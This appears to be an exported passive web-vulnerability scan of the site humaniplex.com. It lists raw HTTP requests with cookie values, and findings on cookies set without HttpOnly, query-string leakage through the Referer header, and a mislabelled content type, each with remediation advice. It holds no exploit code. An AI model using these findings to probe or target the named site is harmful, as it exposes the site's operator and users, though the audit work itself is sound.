GET /tos/site.html?qs=aHR0cDovL3d3dy5odW1hbmlwbGV4LmNvbS9pbmRleC5odG1s HTTP/1.1 Host: www.humaniplex.com Proxy-Connection: keep-alive Referer: http://www.humaniplex.com/tos/site.html?qs=aHR0cDovL3d3dy5odW1hbmlwbGV4LmNvbS9pbmRleC5odG1s User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 90drfjk34_s=AD639C23-160B-01C5-E80D-AA98AFDD12C4; cookie_js=y
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /user_tools/forgot_password/ HTTP/1.1 Host: www.humaniplex.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cookie_js=y; __utmz=20218529.1303159302.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); cookie_accepted_site_tos=1; 90drfjk34_s=AD639C23-160B-01C5-E80D-AA98AFDD12C4; __utma=20218529.144380528.1303159302.1303159302.1303159302.1; __utmc=20218529; __utmb=20218529.3.10.1303159302
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /user_tools/join/ HTTP/1.1 Host: www.humaniplex.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cookie_js=y; __utmz=20218529.1303159302.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); cookie_accepted_site_tos=1; 90drfjk34_s=AD639C23-160B-01C5-E80D-AA98AFDD12C4; __utma=20218529.144380528.1303159302.1303159302.1303159302.1; __utmc=20218529; __utmb=20218529.2.10.1303159302
The response contains the following links to other domains:
http://www.google.com/
http://www.icra.org/sitelabel/
Issue background
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
Request
GET /tos/site.html?qs=aHR0cDovL3d3dy5odW1hbmlwbGV4LmNvbS9pbmRleC5odG1s HTTP/1.1 Host: www.humaniplex.com Proxy-Connection: keep-alive Referer: http://www.humaniplex.com/tos/site.html?qs=aHR0cDovL3d3dy5odW1hbmlwbGV4LmNvbS9pbmRleC5odG1s User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 90drfjk34_s=AD639C23-160B-01C5-E80D-AA98AFDD12C4; cookie_js=y
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.humaniplex.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /blogs/ HTTP/1.1 Host: www.humaniplex.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cookie_js=y; __utmz=20218529.1303159302.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); cookie_accepted_site_tos=1; __utma=20218529.144380528.1303159302.1303159302.1303159302.1; __utmc=20218529; __utmb=20218529.8.10.1303159302; 90drfjk34_s=AD639C23-160B-01C5-E80D-AA98AFDD12C4
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /classifieds/ HTTP/1.1 Host: www.humaniplex.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cookie_js=y; __utmz=20218529.1303159302.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); cookie_accepted_site_tos=1; 90drfjk34_s=AD639C23-160B-01C5-E80D-AA98AFDD12C4; __utma=20218529.144380528.1303159302.1303159302.1303159302.1; __utmc=20218529; __utmb=20218529.7.10.1303159302
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /clubs/list HTTP/1.1 Host: www.humaniplex.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cookie_js=y; __utmz=20218529.1303159302.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); cookie_accepted_site_tos=1; 90drfjk34_s=AD639C23-160B-01C5-E80D-AA98AFDD12C4; __utma=20218529.144380528.1303159302.1303159302.1303159302.1; __utmc=20218529; __utmb=20218529.7.10.1303159302
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /flirts/ HTTP/1.1 Host: www.humaniplex.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cookie_js=y; __utmz=20218529.1303159302.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); cookie_accepted_site_tos=1; 90drfjk34_s=AD639C23-160B-01C5-E80D-AA98AFDD12C4; __utma=20218529.144380528.1303159302.1303159302.1303159302.1; __utmc=20218529; __utmb=20218529.6.10.1303159302
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /index.html HTTP/1.1 Host: www.humaniplex.com Proxy-Connection: keep-alive Referer: http://www.humaniplex.com/tos/site.html?qs=aHR0cDovL3d3dy5odW1hbmlwbGV4LmNvbS9pbmRleC5odG1s User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cookie_js=y; 90drfjk34_s=AD639C23-160B-01C5-E80D-AA98AFDD12C4; __utmz=20218529.1303159302.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=20218529.144380528.1303159302.1303159302.1303159302.1; __utmc=20218529; __utmb=20218529.1.10.1303159302; cookie_accepted_site_tos=1
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /mingle/ HTTP/1.1 Host: www.humaniplex.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cookie_js=y; __utmz=20218529.1303159302.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); cookie_accepted_site_tos=1; 90drfjk34_s=AD639C23-160B-01C5-E80D-AA98AFDD12C4; __utma=20218529.144380528.1303159302.1303159302.1303159302.1; __utmc=20218529; __utmb=20218529.5.10.1303159302
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /profiles/ HTTP/1.1 Host: www.humaniplex.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cookie_js=y; __utmz=20218529.1303159302.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); cookie_accepted_site_tos=1; 90drfjk34_s=AD639C23-160B-01C5-E80D-AA98AFDD12C4; __utma=20218529.144380528.1303159302.1303159302.1303159302.1; __utmc=20218529; __utmb=20218529.4.10.1303159302
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /tos/site.html?qs=aHR0cDovL3d3dy5odW1hbmlwbGV4LmNvbS9pbmRleC5odG1s HTTP/1.1 Host: www.humaniplex.com Proxy-Connection: keep-alive Referer: http://www.humaniplex.com/tos/site.html?qs=aHR0cDovL3d3dy5odW1hbmlwbGV4LmNvbS9pbmRleC5odG1s User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 90drfjk34_s=AD639C23-160B-01C5-E80D-AA98AFDD12C4; cookie_js=y
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /user_tools/forgot_password/ HTTP/1.1 Host: www.humaniplex.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cookie_js=y; __utmz=20218529.1303159302.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); cookie_accepted_site_tos=1; 90drfjk34_s=AD639C23-160B-01C5-E80D-AA98AFDD12C4; __utma=20218529.144380528.1303159302.1303159302.1303159302.1; __utmc=20218529; __utmb=20218529.3.10.1303159302
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /user_tools/join/ HTTP/1.1 Host: www.humaniplex.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cookie_js=y; __utmz=20218529.1303159302.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); cookie_accepted_site_tos=1; 90drfjk34_s=AD639C23-160B-01C5-E80D-AA98AFDD12C4; __utma=20218529.144380528.1303159302.1303159302.1303159302.1; __utmc=20218529; __utmb=20218529.2.10.1303159302
The response contains the following Content-type statement:
Content-Type: text/plain; charset=UTF-8
The response states that it contains plain text. However, it actually appears to contain unrecognised content.
Issue background
If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.
In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.
Request
GET /favicon.ico HTTP/1.1 Host: www.humaniplex.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 90drfjk34_s=AD639C23-160B-01C5-E80D-AA98AFDD12C4